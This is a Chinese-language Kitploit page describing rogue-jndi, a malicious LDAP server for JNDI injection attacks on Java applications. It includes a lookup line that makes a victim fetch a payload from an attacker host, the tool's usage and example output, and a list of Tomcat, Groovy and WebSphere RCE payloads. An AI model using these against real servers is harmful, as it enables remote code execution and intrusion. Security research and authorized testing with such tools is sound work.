Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
rogue-jndi — 一个用于JNDI注入攻击的恶意LDAP服务器 | Kitploit
工具/GitHubGitHub/veracode-research/rogue-jndi
漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育红队Payload 开发
GitHubveracode-research/rogue-jndi

rogue-jndi

一个用于JNDI注入攻击的恶意LDAP服务器

查看仓库
1.1k2272年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Rogue JNDI

一个用于 JNDI 注入攻击的恶意 LDAP 服务器。

描述

该项目包含用于利用不安全的默认 Java JNDI API 的 LDAP 和 HTTP 服务器。
为了执行攻击,你可以在本地启动这些服务器,然后在存在漏洞的客户端上触发 JNDI 解析,例如:

root@kitploit:~
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");

这将从存在漏洞的客户端发起一个到本地 LDAP 服务器的连接。然后,本地服务器会响应一个包含其中一个 payload 的恶意条目,该条目可用于实现远程代码执行。

动机

除了已知的 JNDI 攻击方法(通过引用中的远程类加载)之外,该工具还利用 ObjectFactories 的能力带来了新的攻击向量。

支持的 Payloads

  • RemoteReference.java - 经典的 JNDI 攻击,通过远程类加载实现 RCE,适用于 jdk8u191 及以下版本
  • Tomcat.java - 通过 org.apache.naming.factory.BeanFactory 中的不安全反射实现 RCE
  • Groovy.java - 通过 org.apache.naming.factory.BeanFactory + groovy.lang.GroovyShell 中的不安全反射实现 RCE
  • WebSphere1.java - 在 com.ibm.ws.webservices.engine.client.ServiceFactory 中导致 OOB XXE
  • WebSphere2.java - 通过 com.ibm.ws.client.applicationclient.ClientJ2CCFFactory 中的 classpath 操纵实现 RCE

使用方法

root@kitploit:~
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
  Options:
    -c, --command  Command to execute on the target server (default: 
                   /Applications/Calculator.app/Contents/MacOS/Calculator) 
    -n, --hostname Local HTTP server hostname (required for remote 
                   classloading and websphere payloads) (default: 
                   192.168.1.10) 
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8000)
    --wsdl         [websphere1 payload option] WSDL file with XXE payload 
                   (default: /list.wsdl)
    --localjar     [websphere2 payload option] Local jar file to load (this 
                   file should be located on the remote server) (default: 
                   ../../../../../tmp/jar_cache7808167489549525095.tmp) 
    -h, --help     Show this help

最重要的参数是 ldap 服务器主机名(-n,需要能够从目标服务器访问)以及你希望在目标服务器上执行的命令(-c)。

除了使用 "-c" 选项之外,你还可以修改 ExportObject.java 文件,将你想要在目标服务器上执行的 Java 代码放入其中。

示例:

root@kitploit:~
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2

构建

需要 Java v1.7+ 和 Maven v3+

root@kitploit:~
mvn package

免责声明

本软件仅用于教育目的和/或测试用户事先已获得攻击许可的系统。

特别感谢

  • 感谢 Alvaro Muñoz 和 Oleksandr Mirosh 撰写的关于 JNDI 攻击的精彩白皮书
  • 感谢 @zerothoughts 提供的富有启发性的 spring-jndi 仓库
  • 感谢 Moritz Bechler 卓越的 marshallsec 研究
  • 感谢 Orange Tsai 和 Welk1n 提供的 Apache + Groovy gadget

链接

  • Veracode 博客上关于 Exploiting JNDI Injections in Java 的一篇文章
  • 我是如何再次黑掉 Facebook 的!MobileIron MDM 上的未认证 RCE

作者

Michael Stepankin

下载工具